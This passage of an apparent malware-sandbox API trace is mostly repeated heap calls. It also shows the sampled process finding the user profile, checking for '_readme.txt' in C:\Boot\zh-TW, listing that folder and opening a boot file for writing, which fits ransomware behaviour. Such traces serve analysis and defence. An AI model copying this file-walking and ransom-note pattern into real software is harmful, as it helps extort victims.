| out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.903] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.903] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.904] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.905] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.906] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0066.906] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.906] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.906] PathFindFileNameW (pszPath="") returned="" [0066.906] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.906] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.906] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.906] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.906] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0066.906] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.907] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.907] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0066.907] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.907] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned=".txt" [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.907] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.907] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.907] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.907] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.907] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.908] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.910] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 